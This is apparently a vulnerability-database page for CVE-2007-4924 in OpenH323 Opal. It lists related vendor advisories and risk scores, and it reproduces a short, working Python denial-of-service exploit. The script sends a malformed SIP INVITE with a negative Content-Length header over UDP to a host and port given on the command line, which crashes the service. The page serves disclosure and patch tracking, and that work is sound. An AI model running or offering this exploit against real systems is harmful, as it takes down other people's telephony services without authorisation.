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OpenH323 Opal SIP Denial Of Service
🗓️ 24 Jul 2009 00:00:00Reported by Jose Miguel EsparzaType 
packetstorm🔗 packetstormsecurity.com👁 29 Views
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
 | OpenH323 Opal SIP Protocol Remote Denial of Service Exploit | 24 Jul 200900:00 | – | zdt |
 | CentOS 5 : opal (CESA-2007:0957) | 6 Jan 201000:00 | – | nessus |
| Mandrake Linux Security Advisory : opal (MDKSA-2007:205) | 5 Nov 200700:00 | – | nessus |
| RHEL 5 : opal (RHSA-2007:0957) | 9 Oct 200700:00 | – | nessus |
| Scientific Linux Security Update : opal on SL5.x i386/x86_64 | 1 Aug 201200:00 | – | nessus |
| SuSE 10 Security Update : opal (ZYPP Patch Number 4519) | 13 Dec 200700:00 | – | nessus |
| openSUSE 10 Security Update : opal (opal-4531) | 24 Oct 200700:00 | – | nessus |
| Ubuntu 6.06 LTS / 6.10 / 7.04 : opal vulnerability (USN-562-1) | 10 Jan 200800:00 | – | nessus |
 | opal security update | 9 Oct 200723:45 | – | centos |
 | CVE-2007-4924 | 24 Jul 200900:00 | – | circl |
10
`#!/usr/bin/env python
#
# OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924)
#
# opal228_dos.py by Jose Miguel Esparza
# 2007-10-08 S21sec labs
import sys,socket
if len(sys.argv) != 3:
sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:[email protected] SIP/2.0\r\n"+\
"Call-ID:[email protected]\r\n"+\
"Contact:sip:[email protected]:5060\r\n"+\
"Content-Length:-40999990\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:[email protected]:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:[email protected]\r\n"+\
"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()
`
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24 Jul 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.23131